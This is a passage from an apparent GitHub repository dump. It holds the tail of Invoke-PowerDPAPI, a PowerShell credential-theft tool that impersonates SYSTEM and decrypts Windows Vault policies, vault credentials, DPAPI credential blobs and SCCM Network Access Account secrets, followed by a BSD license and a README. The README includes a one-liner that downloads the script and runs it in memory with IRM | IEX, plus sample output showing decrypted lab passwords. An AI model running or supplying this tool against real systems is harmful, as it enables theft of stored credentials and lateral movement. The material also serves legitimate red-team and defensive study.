1598 | Write-Host (" flags : 0x{0:X8} (CRYPTPROTECT_SYSTEM)" -f $credFlags)
1599 | Write-Host (" algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)")
1600 | Write-Host (" description : Local Credential Data")
1601 | Write-Host (" LastWritten : {0}" -f $lastWrittenTime)
1602 | Write-Host (" TargetName : {0}" -f $targetName.Trim())
1603 | Write-Host (" TargetAlias : {0}" -f $targetAlias.Trim())
1604 | Write-Host (" Comment : {0}" -f $comment.Trim())
1605 | Write-Host (" UserName : {0}" -f $userName.Trim())
1606 |
1607 | if ($credBlobBytes.Length -gt 0)
1608 | {
1609 | if (Is-Unicode $credBlobBytes)
1610 | {
1611 | $credBlob = [System.Text.Encoding]::Unicode.GetString($credBlobBytes)
1612 | Write-Host (" Credential : {0}" -f $credBlob.Trim())
1613 | }
1614 | else
1615 | {
1616 | $credBlobByteString = ($credBlobBytes | ForEach-Object { "{0:X2}" -f $_ }) -join " "
1617 | Write-Host (" Credential : {0}" -f $credBlobByteString.Trim())
1618 | }
1619 | }
1620 | else
1621 | {
1622 | Write-Host (" Credential :")
1623 | }
1624 |
1625 | Write-Host "`n"
1626 | }
1627 | catch
1628 | {
1629 | Write-Host " [!] Error parsing decrypted credential blob: $($_.Exception.Message)"
1630 | }
1631 | }
1632 |
1633 |
1634 | function AES-Decrypt {
1635 | param ([byte[]] $key, [byte[]] $IV, [byte[]] $data)
1636 |
1637 | $aesCryptoProvider = [System.Security.Cryptography.AesManaged]::new()
1638 | $aesCryptoProvider.Key = $key
1639 |
1640 | if ($IV.Length -ne 0)
1641 | {
1642 | $aesCryptoProvider.IV = $IV
1643 | }
1644 |
1645 | $aesCryptoProvider.Mode = [Security.Cryptography.CipherMode]::CBC
1646 |
1647 | $plaintextBytes = $aesCryptoProvider.CreateDecryptor().TransformBlock($data, 0, $data.Length)
1648 |
1649 | return $plaintextBytes
1650 | }
1651 |
1652 | function Parse-DecPolicyBlob {
1653 | param ([byte[]]$decBlobBytes)
1654 |
1655 | function Find-ArrayIndex {
1656 | param ([byte[]]$array, [byte[]]$pattern, [int]$startIndex = 0)
1657 |
1658 | for ($i = $startIndex; $i -le $array.Length - $pattern.Length; $i++)
1659 | {
1660 | $found = $true
1661 | for ($j = 0; $j -lt $pattern.Length; $j++)
1662 | {
1663 | if ($array[$i + $j] -ne $pattern[$j])
1664 | {
1665 | $found = $false
1666 | break
1667 | }
1668 | }
1669 | if ($found)
1670 | {
1671 | return $i
1672 | }
1673 | }
1674 | return -1
1675 | }
1676 |
1677 | $keys = @()
1678 | $s = [System.Text.Encoding]::ASCII.GetString($decBlobBytes, 12, 4)
1679 |
1680 | if ($s -eq 'KDBM')
1681 | {
1682 | $offset = 20
1683 |
1684 | $aes128len = [BitConverter]::ToInt32($decBlobBytes, $offset)
1685 | $offset += 4
1686 |
1687 | if ($aes128len -ne 16)
1688 | {
1689 | Write-Warning "Error parsing decrypted Policy.vpol (aes128len != 16)"
1690 | return $keys
1691 | }
1692 |
1693 | $aes128Key = $decBlobBytes[$offset..($offset + $aes128len - 1)]
1694 | $offset += $aes128len
1695 |
1696 | $offset += 20
1697 |
1698 | $aes256len = [BitConverter]::ToInt32($decBlobBytes, $offset)
1699 | $offset += 4
1700 |
1701 | if ($aes256len -ne 32)
1702 | {
1703 | Write-Warning "Error parsing decrypted Policy.vpol (aes256len != 32)"
1704 | return $keys
1705 | }
1706 |
1707 | $aes256Key = $decBlobBytes[$offset..($offset + $aes256len - 1)]
1708 |
1709 | $keys += ,$aes128Key
1710 | $keys += ,$aes256Key
1711 | }
1712 | else
1713 | {
1714 | $offset = 16
1715 | $s2 = [System.Text.Encoding]::ASCII.GetString($decBlobBytes, $offset, 4)
1716 | $offset += 4
1717 |
1718 | if ($s2 -eq 'KSSM')
1719 | {
1720 | $offset += 16
1721 |
1722 | $aes128len = [BitConverter]::ToInt32($decBlobBytes, $offset)
1723 | $offset += 4
1724 |
1725 | if ($aes128len -ne 16)
1726 | {
1727 | Write-Warning "Error parsing decrypted Policy.vpol (aes128len != 16)"
1728 | return $keys
1729 | }
1730 |
1731 | $aes128Key = $decBlobBytes[$offset..($offset + $aes128len - 1)]
1732 | $offset += $aes128len
1733 |
1734 | $pattern = 0x4b,0x53,0x53,0x4d,0x02,0x00,0x01,0x00,0x01,0x00,0x00,0x00
1735 | $index = Find-ArrayIndex -array $decBlobBytes -pattern $pattern -startIndex $offset
1736 |
1737 | if ($index -ne -1)
1738 | {
1739 | $offset = $index + 20
1740 |
1741 | $aes256len = [BitConverter]::ToInt32($decBlobBytes, $offset)
1742 | $offset += 4
1743 |
1744 | if ($aes256len -ne 32)
1745 | {
1746 | Write-Warning "Error parsing decrypted Policy.vpol (aes256len != 32)"
1747 | return $keys
1748 | }
1749 |
1750 | $aes256Key = $decBlobBytes[$offset..($offset + $aes256len - 1)]
1751 |
1752 | $keys += ,$aes128Key
1753 | $keys += ,$aes256Key
1754 | }
1755 | else
1756 | {
1757 | Write-Warning "Error in decrypting Policy.vpol: second MSSK header not found!"
1758 | }
1759 | }
1760 | }
1761 |
1762 | return $keys
1763 | }
1764 |
1765 |
1766 |
1767 | function Describe-VaultPolicy {
1768 | param([byte[]]$PolicyBytes, [hashtable]$MasterKeys)
1769 |
1770 | # Decrypts Windows Vault policy files to extract AES encryption keys for vault credential decryption.
1771 | # Hand-off: Calls Describe-DPAPIBlob for policy decryption, then Parse-DecPolicyBlob for key extraction.
1772 |
1773 | $offset = 0
1774 |
1775 | $version = [BitConverter]::ToInt32($PolicyBytes, $offset)
1776 | $offset += 4
1777 |
1778 | $vaultIDbytes = $PolicyBytes[$offset..($offset+15)]
1779 | $vaultID = [Guid]::New([byte[]]$vaultIDbytes)
1780 | $offset += 16
1781 |
1782 | Write-Host "`n VaultID : $vaultID"
1783 |
1784 | $nameLen = [BitConverter]::ToInt32($PolicyBytes, $offset)
1785 | $offset += 4
1786 | $name = [System.Text.Encoding]::Unicode.GetString($PolicyBytes, $offset, $nameLen)
1787 | $offset += $nameLen
1788 | Write-Host " Name : $name"
1789 |
1790 | # skip unk0/unk1/unk2
1791 | $offset += 12
1792 |
1793 | $keyLen = [BitConverter]::ToInt32($PolicyBytes, $offset)
1794 | $offset += 4
1795 |
1796 | # skip unk0/unk1 GUIDs
1797 | $offset += 32
1798 |
1799 | $keyBlobLen = [BitConverter]::ToInt32($PolicyBytes, $offset)
1800 | $offset += 4
1801 |
1802 | $blobBytes = $PolicyBytes[$offset..($offset + $keyBlobLen - 1)]
1803 | $offset += $keyBlobLen
1804 |
1805 | $plaintextBytes = Describe-DPAPIBlob -blobBytes $blobBytes -MasterKeys $MasterKeys -Type "policy"
1806 |
1807 | if ($plaintextBytes -and $plaintextBytes.Length -gt 0) {
1808 | $keys = Parse-DecPolicyBlob -decBlobBytes $plaintextBytes
1809 |
1810 | if ($keys.Count -eq 2) {
1811 | Write-Host (" guidMasterKey : {0}" -f $global:CurrentGuidMasterKey)
1812 | Write-Host (" size : {0}" -f $blobBytes.Length)
1813 | Write-Host (" flags : 0x{0:X8} (CRYPTPROTECT_SYSTEM)" -f 0x20000000)
1814 | Write-Host (" algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)")
1815 | Write-Host (" description : Vault Policy Key")
1816 |
1817 | $aes128KeyStr = [BitConverter]::ToString($keys[0]).Replace("-", "")
1818 | Write-Host " aes128 key : $aes128KeyStr"
1819 |
1820 | $aes256KeyStr = [BitConverter]::ToString($keys[1]).Replace("-", "")
1821 | Write-Host " aes256 key : $aes256KeyStr"
1822 |
1823 | return $keys
1824 | }
1825 | else {
1826 | Write-Host " [!] Error parsing decrypted Policy.vpol (AES keys not extracted, likely incorrect password for the associated masterkey)"
1827 | return @()
1828 | }
1829 | }
1830 | else {
1831 | Write-Host " [!] Failed to decrypt Policy.vpol"
1832 | return @()
1833 | }
1834 | }
1835 |
1836 | function Describe-VaultItem {
1837 | param([byte[]]$VaultItemBytes)
1838 |
1839 | # Parses decrypted vault item structure to extract credential properties and values.
1840 | # Hand-off: Terminal function that outputs vault credential details including resource, identity, and authenticator.
1841 |
1842 | $offset = 0
1843 | $version = [BitConverter]::ToInt32($VaultItemBytes, $offset)
1844 | $offset += 4
1845 | $count = [BitConverter]::ToInt32($VaultItemBytes, $offset)
1846 | $offset += 4
1847 | $offset += 4 # skip unk
1848 |
1849 | for ($i = 0; $i -lt $count; ++$i) {
1850 | $id = [BitConverter]::ToInt32($VaultItemBytes, $offset)
1851 | $offset += 4
1852 | $size = [BitConverter]::ToInt32($VaultItemBytes, $offset)
1853 | $offset += 4
1854 | $entryString = [System.Text.Encoding]::Unicode.GetString($VaultItemBytes, $offset, $size)
1855 | $entryData = $VaultItemBytes[$offset..($offset + $size - 1)]
1856 | $offset += $size
1857 |
1858 | switch ($id) {
1859 | 1 { Write-Host " Resource : $entryString" }
1860 | 2 { Write-Host " Identity : $entryString" }
1861 | 3 { Write-Host " Authenticator : $entryString" }
1862 | default {
1863 | if (Is-Unicode -Data $entryData) {
1864 | Write-Host " Property $id : $entryString"
1865 | } else {
1866 | $entryDataString = ($entryData | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
1867 | Write-Host " Property $id : $entryDataString"
1868 | }
1869 | }
1870 | }
1871 | }
1872 | }
1873 |
1874 |
1875 | function Describe-VaultCred {
1876 | param([byte[]]$VaultBytes,[array]$AESKeys)
1877 |
1878 | # Decrypts Windows Vault credential files using extracted AES keys from vault policy.
1879 | # Hand-off: Calls AESDecrypt for credential decryption, then Describe-VaultItem for credential parsing.
1880 |
1881 | $aes128key = $AESKeys[0]
1882 | $aes256key = $AESKeys[1]
1883 |
1884 | $offset = 0
1885 | $finalAttributeOffset = 0
1886 |
1887 | # skip schema GUID
1888 | $offset += 16
1889 |
1890 | $unk0 = [BitConverter]::ToInt32($VaultBytes, $offset)
1891 | $offset += 4
1892 |
1893 | $lastWritten = [BitConverter]::ToInt64($VaultBytes, $offset)
1894 | $offset += 8
1895 | $lastWrittenTime = [DateTime]::FromFileTime($lastWritten)
1896 | Write-Host "`n LastWritten : $lastWrittenTime"
1897 |
1898 | # skip unk1/unk2
1899 | $offset += 8
1900 |
1901 | $friendlyNameLen = [BitConverter]::ToInt32($VaultBytes, $offset)
1902 | $offset += 4
1903 | $friendlyName = [System.Text.Encoding]::Unicode.GetString($VaultBytes, $offset, $friendlyNameLen)
1904 | $offset += $friendlyNameLen
1905 | Write-Host " FriendlyName : $friendlyName"
1906 |
1907 | $attributeMapLen = [BitConverter]::ToInt32($VaultBytes, $offset)
1908 | $offset += 4
1909 |
1910 | $numberOfAttributes = [math]::Floor($attributeMapLen / 12)
1911 | $attributeMap = @{}
1912 |
1913 | for ($i = 0; $i -lt $numberOfAttributes; ++$i) {
1914 | $attributeNum = [BitConverter]::ToInt32($VaultBytes, $offset)
1915 | $offset += 4
1916 | $attributeOffset = [BitConverter]::ToInt32($VaultBytes, $offset)
1917 | $offset += 8 # skip unk
1918 | $attributeMap[$attributeNum] = $attributeOffset
1919 | }
1920 |
1921 | $leftover = $VaultBytes[222..($VaultBytes.Length - 1)]
1922 |
1923 | foreach ($attribute in $attributeMap.GetEnumerator()) {
1924 | $attributeOffset = $attribute.Value + 16
1925 |
1926 | if ($attribute.Key -ge 100) {
1927 | $attributeOffset += 4
1928 | }
1929 |
1930 | $dataLen = [BitConverter]::ToInt32($VaultBytes, $attributeOffset)
1931 | $attributeOffset += 4
1932 |
1933 | $finalAttributeOffset = $attributeOffset
1934 |
1935 | if ($dataLen -gt 0) {
1936 | $IVPresent = [BitConverter]::ToBoolean($VaultBytes, $attributeOffset)
1937 | $attributeOffset += 1
1938 |
1939 | if (-not $IVPresent) {
1940 | $dataBytes = $VaultBytes[$attributeOffset..($attributeOffset + $dataLen - 2)]
1941 | $finalAttributeOffset = $attributeOffset + $dataLen - 1
1942 | # You must implement AESDecrypt
1943 | $decBytes = AESDecrypt -Key $aes128key -IV @() -Data $dataBytes
1944 | } else {
1945 | $IVLen = [BitConverter]::ToInt32($VaultBytes, $attributeOffset)
1946 | $attributeOffset += 4
1947 | $IVBytes = $VaultBytes[$attributeOffset..($attributeOffset + $IVLen - 1)]
1948 | $attributeOffset += $IVLen
1949 | $dataBytes = $VaultBytes[$attributeOffset..($attributeOffset + $dataLen - 1 - 4 - $IVLen)]
1950 | $attributeOffset += $dataLen - 1 - 4 - $IVLen
1951 | $finalAttributeOffset = $attributeOffset
1952 | $decBytes = AESDecrypt -Key $aes256key -IV $IVBytes -Data $dataBytes
1953 | Describe-VaultItem -VaultItemBytes $decBytes
1954 | }
1955 | }
1956 | }
1957 |
1958 | if (($numberOfAttributes -gt 0) -and ($unk0 -lt 4)) {
1959 | $clearOffset = $finalAttributeOffset - 2
1960 | $clearBytes = $VaultBytes[$clearOffset..($VaultBytes.Length - 1)]
1961 |
1962 | $cleatOffSet2 = 0
1963 | $cleatOffSet2 += 4 # skip ID
1964 |
1965 | $dataLen = [BitConverter]::ToInt32($clearBytes, $cleatOffSet2)
1966 | $cleatOffSet2 += 4
1967 |
1968 | if ($dataLen -gt 2000) {
1969 | Write-Host " [*] Vault credential clear attribute is > 2000 bytes, skipping..."
1970 | } elseif ($dataLen -gt 0) {
1971 | $IVPresent = [BitConverter]::ToBoolean($VaultBytes, $cleatOffSet2)
1972 | $cleatOffSet2 += 1
1973 |
1974 | if (-not $IVPresent) {
1975 | $dataBytes = $clearBytes[$cleatOffSet2..($cleatOffSet2 + $dataLen - 2)]
1976 | $decBytes = AESDecrypt -Key $aes128key -IV @() -Data $dataBytes
1977 | } else {
1978 | $IVLen = [BitConverter]::ToInt32($clearBytes, $cleatOffSet2)
1979 | $cleatOffSet2 += 4
1980 | $IVBytes = $clearBytes[$cleatOffSet2..($cleatOffSet2 + $IVLen - 1)]
1981 | $cleatOffSet2 += $IVLen
1982 | $dataBytes = $clearBytes[$cleatOffSet2..($cleatOffSet2 + $dataLen - 1 - 4 - $IVLen)]
1983 | $cleatOffSet2 += $dataLen - 1 - 4 - $IVLen
1984 | $decBytes = AESDecrypt -Key $aes256key -IV $IVBytes -Data $dataBytes
1985 | Describe-VaultItem -VaultItemBytes $decBytes
1986 | }
1987 | }
1988 | }
1989 | }
1990 |
1991 |
1992 | function Triage-SystemVaults {
1993 | param([hashtable]$MasterKeys)
1994 |
1995 | # Orchestrates Windows Vault enumeration and decryption across system service profiles.
1996 | # Hand-off: Calls Triage-VaultFolder for each vault directory containing Policy.vpol files.
1997 |
1998 | Write-Host "`n[*] Triaging SYSTEM Vaults`n"
1999 |
2000 | $folderLocations = @(
2001 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Local\Microsoft\Vault",
2002 | "${env:SystemRoot}\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault",
2003 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Vault",
2004 | "${env:SystemRoot}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Vault",
2005 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Vault",
2006 | "${env:SystemRoot}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Vault"
2007 | )
2008 |
2009 | foreach ($location in $folderLocations) {
2010 | if (-not (Test-Path -Path $location -PathType Container)) {
2011 | continue
2012 | }
2013 |
2014 | $vaultDirs = Get-ChildItem -Path $location -Directory |
2015 | Select-Object -ExpandProperty FullName
2016 |
2017 | foreach ($vaultDir in $vaultDirs) {
2018 | $dirName = Split-Path $vaultDir -Leaf
2019 | if ($dirName -match '^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$') {
2020 | Triage-VaultFolder -Folder $vaultDir -MasterKeys $MasterKeys
2021 | }
2022 | }
2023 | }
2024 | }
2025 |
2026 |
2027 |
2028 | function Triage-VaultFolder {
2029 | param ([string]$Folder, [hashtable]$MasterKeys)
2030 |
2031 | # Processes Windows Vault policy files and credential files within a vault directory.
2032 | # Hand-off: Calls Describe-VaultPolicy for policy decryption, then Describe-VaultCred for each credential file.
2033 |
2034 | $PolicyFilePath = "$Folder\Policy.vpol"
2035 |
2036 | if (-not ([System.IO.File]::Exists($PolicyFilePath))) {
2037 | return
2038 | }
2039 |
2040 | Write-Host "[*] Triaging Vault Folder: $Folder"
2041 |
2042 | $PolicyBytes = [System.IO.File]::ReadAllBytes($PolicyFilePath)
2043 |
2044 | $keys = Describe-VaultPolicy $PolicyBytes $MasterKeys
2045 |
2046 | if ($keys.Count -eq 0) {
2047 | return
2048 | }
2049 |
2050 | $VaultCredFiles = [System.IO.Directory]::GetFiles($Folder)
2051 |
2052 | if ($VaultCredFiles -eq $null -or $VaultCredFiles.Length -eq 0) {
2053 | return
2054 | }
2055 |
2056 | foreach ($VaultCredFile in $VaultCredFiles) {
2057 | $FileName = [System.IO.Path]::GetFileName($VaultCredFile)
2058 |
2059 | if (-not ($FileName.EndsWith("vcrd"))) {
2060 | continue
2061 | }
2062 |
2063 | try {
2064 | $vaultCredBytes = [System.IO.File]::ReadAllBytes($VaultCredFile)
2065 | Describe-VaultCred $vaultCredBytes $keys
2066 | }
2067 |
2068 | catch {
2069 | Write-Host "ERROR"
2070 | }
2071 | }
2072 | }
2073 |
2074 |
2075 |
2076 | function Invoke-PowerDPAPI
2077 | {
2078 | param ([string]$Command, [switch] $SaveTS)
2079 |
2080 | Write-Host "`n"
2081 |
2082 | $Impersonate = Invoke-Impersonate
2083 |
2084 | if (-not ($Impersonate))
2085 | {
2086 | return "[!] Unable to elevate"
2087 | }
2088 |
2089 | try
2090 | {
2091 | $MasterKeys = $null
2092 |
2093 | if ($SaveTS)
2094 | {
2095 | $global:NoSave = $false
2096 | }
2097 |
2098 | else
2099 | {
2100 | $global:NoSave = $true
2101 | }
2102 |
2103 | switch ($Command)
2104 | {
2105 | "MachineTriage"
2106 |
2107 | {
2108 |
2109 | $MasterKeys = Triage-SystemMasterKeys
2110 | Triage-SystemCreds -MasterKeys $MasterKeys
2111 | Triage-SccmWMI -MasterKeys $MasterKeys
2112 | Triage-SccmDisk -MasterKeys $MasterKeys
2113 | Triage-SystemVaults -MasterKeys $MasterKeys
2114 | }
2115 |
2116 | "MachineVaults"
2117 |
2118 | {
2119 | $MasterKeys = Triage-SystemMasterKeys
2120 | Triage-SystemVaults -MasterKeys $MasterKeys
2121 | }
2122 |
2123 | "MachineCredentials"
2124 |
2125 | {
2126 | $MasterKeys = Triage-SystemMasterKeys
2127 | Triage-SystemCreds -MasterKeys $MasterKeys
2128 | }
2129 |
2130 | "SCCM"
2131 |
2132 | {
2133 |
2134 | $MasterKeys = Triage-SystemMasterKeys
2135 | Triage-SccmWMI -MasterKeys $MasterKeys
2136 | Triage-SccmDisk -MasterKeys $MasterKeys
2137 | }
2138 |
2139 | "SCCM_WMI"
2140 |
2141 | {
2142 |
2143 | $MasterKeys = Triage-SystemMasterKeys
2144 | Triage-SccmWMI -MasterKeys $MasterKeys
2145 | }
2146 |
2147 | "SCCM_DISK"
2148 |
2149 | {
2150 | $MasterKeys = Triage-SystemMasterKeys
2151 | Triage-SccmDisk -MasterKeys $MasterKeys
2152 | }
2153 |
2154 | Default
2155 |
2156 | {
2157 | Write-Host "[*] Command not recognised"
2158 | }
2159 | }
2160 | }
2161 |
2162 | finally
2163 | {
2164 |
2165 | if (Get-Variable -Name "mappings" -Scope "Global" -ErrorAction "SilentlyContinue")
2166 | {
2167 | Remove-Variable -Name "mappings" -Scope "Global" -Force
2168 | }
2169 |
2170 | $FnRevertToSelf.Invoke() > $null
2171 | }
2172 | }
2173 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2025, The-Viper-One
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | 1. Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | 2. Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | 3. Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
29 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Invoke-PowerDPAPI
2 | Invoke-PowerDPAPI is a PowerShell port of some [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) and [SharpSCCM](https://github.com/Mayyhem/SharpSCCM) functionality.
3 |
4 | For the moment this is limited to SYSTEM level functions such as triaging SYSTEM master keys and decrpypting the following secrets:
5 |
6 | - System Vaults
7 | - System Credentials
8 | - SCCM NAA accounts (WMI / Disk)
9 | - SCCM Task Sequences (WMI / Disk)
10 |
11 | ## Future Updates
12 |
13 | Not all SharpDPAPI functionality will be implemented into this port. This will be limited to functionality that fits my workflow and code that I believe can be reused in further projects.
14 |
15 | Future updates to be completed:
16 | - User level DPAPI
17 | - Automate takeover of each user logon session and decrypt each user DPAPI secret
18 | - SYSTEM Certificates
19 | - Domain Backup key support
20 |
21 | ## Requirements
22 |
23 | ❗ Invoke-PowerDPAPI must be executed in a high integrity process
24 |
25 | ## Load into memory
26 | ```powershell
27 | IRM "https://raw.githubusercontent.com/The-Viper-One/Invoke-PowerDPAPI/refs/heads/main/Invoke-PowerDPAPI.ps1" | IEX
28 | ```
29 |
30 | ## Usage
31 |
32 | ### Triage Everything
33 | > Runs MachineVaults, MachineCredentials, SCCM_Disk and SCCM_WMI
34 |
35 | ```powershell
36 | Invoke-PowerDPAPI MachineTriage
37 | ```
38 |
39 |
40 | ### Triage MachineVaults
41 | ```powershell
42 | Invoke-PowerDPAPI MachineVaults
43 | ```
44 | ```
45 | [*] Triaging SYSTEM Vaults
46 |
47 | [*] Triaging Vault Folder: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
48 |
49 | VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
50 | Name : Web Credentials
51 | guidMasterKey : {e922342f-143e-4b65-a25b-e83354a47007}
52 | size : 324
53 | flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
54 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
55 | description :
56 | guidMasterKey :
57 | size : 324
58 | flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
59 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
60 | description : Vault Policy Key
61 | aes128 key : 17D5264E849A7136427830A4835B8669
62 | aes256 key : 428397F3F8260174A5923BC66CC014CB2D3C4ABAFB5FFBC90D7A959DC4DC817C
63 | ```
64 |
65 |
66 | ### Triage MachineCredentials
67 | ```powershell
68 | Invoke-PowerDPAPI MachineCredentials
69 | ```
70 | ```
71 | [*] Triaging System Credentials
72 |
73 | Folder : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
74 |
75 | CredFile : 3F38B7EDDCC210906994CAC4A9077348
76 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632}
77 | size : 544
78 | flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
79 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
80 | description : Local Credential Data
81 |
82 | guidMasterKey :
83 | size : 264
84 | flags : 0x00000030 (CRYPTPROTECT_SYSTEM)
85 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
86 | description : Local Credential Data
87 | LastWritten : 6/19/2025 12:18:59 AM
88 | TargetName : Domain:batch=TaskScheduler:Task:{52340B14-C919-4223-970B-103AAAFE2720}
89 | TargetAlias :
90 | Comment :
91 | UserName : ludus\domainuser
92 | Credential : password
93 | ```
94 |
95 |
96 | ### Triage SCCM (WMI and Disk)
97 | > Runs SCCM_WMI and SCCM_Disk
98 | ```powershell
99 | Invoke-PowerDPAPI SCCM
100 | ```
101 |
102 |
103 | ### Triage SCCM (WMI)
104 | ```powershell
105 | Invoke-PowerDPAPI SCCM_WMI
106 | Invoke-PowerDPAPI SCCM_WMI -SaveTS # Saves Task Sequences in XML format to PWD
107 | ```
108 | ```
109 | [+] Found 1 Network Access Account(s)
110 | [+] Decrypting network access account credentials
111 |
112 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632}
113 | size : 266
114 | flags : 0x00000000
115 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
116 | description :
117 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632}
118 | size : 250
119 | flags : 0x00000000
120 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
121 | description :
122 |
123 |
124 | Network Access Username: ludus\sccm_naa_2
125 | Network Access Password: password123
126 |
127 | [+] Found 2 Task Sequence(s)
128 | [+] Decrypting Task Sequences
129 |
130 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632}
131 | size : 8042
132 | flags : 0x00000000
133 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
134 | description :
135 |
136 | [+] Task Sequence:
137 |
138 |
139 | smsswd.exe /run: sqlcmd -S myserver.database.windows.net -d MyDatabase -U MyUserName -P MySecretPassword -Q "SELECT TOP 10 * FROM dbo.MyTable"
140 |
141 | sqlcmd -S myserver.database.windows.net -d MyDatabase -U MyUserName -P MySecretPassword -Q "SELECT TOP 10 * FROM dbo.MyTable"
142 | false
143 |
144 |
145 | false
146 | 0 3010
147 |
148 |
149 |
150 | ```
151 |
152 |
153 | ### Triage SCCM (Disk)
154 | ```powershell
155 | Invoke-PowerDPAPI SCCM_Disk
156 | Invoke-PowerDPAPI SCCM_Disk -SaveTS # Saves Task Sequences in XML format to PWD
157 | ```
158 | ```
159 | [+] Decrypting 1 network access account secrets
160 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632}
161 | size : 266
162 | flags : 0x00000000
163 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
164 | description :
165 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632}
166 | size : 250
167 | flags : 0x00000000
168 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
169 | description :
170 |
171 | NetworkAccessUsername: ludus\sccm_naa_2
172 | NetworkAccessPassword: password123
173 |
174 | [+] Decrypting 1 task sequence secrets
175 | guidMasterKey : {8173b631-3636-4c96-81e7-ae2c8fd60632}
176 | size : 2154
177 | flags : 0x00000000
178 | algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
179 | description :
180 |
181 |
182 |
183 | smsswd.exe /run: sqlcmd -S myserver.database.windows.net -d MyDatabase -U MyUserName -P MySecretPassword -Q "SELECT TOP 10 * FROM dbo.MyTable"
184 |
185 | sqlcmd -S myserver.database.windows.net -d MyDatabase -U MyUserName -P MySecretPassword -Q "SELECT TOP 10 * FROM dbo.MyTable"
186 | false
187 |
188 |
189 | false
190 | 0 3010
191 |
192 |
193 |
194 | ```
195 |
196 |
197 |
--------------------------------------------------------------------------------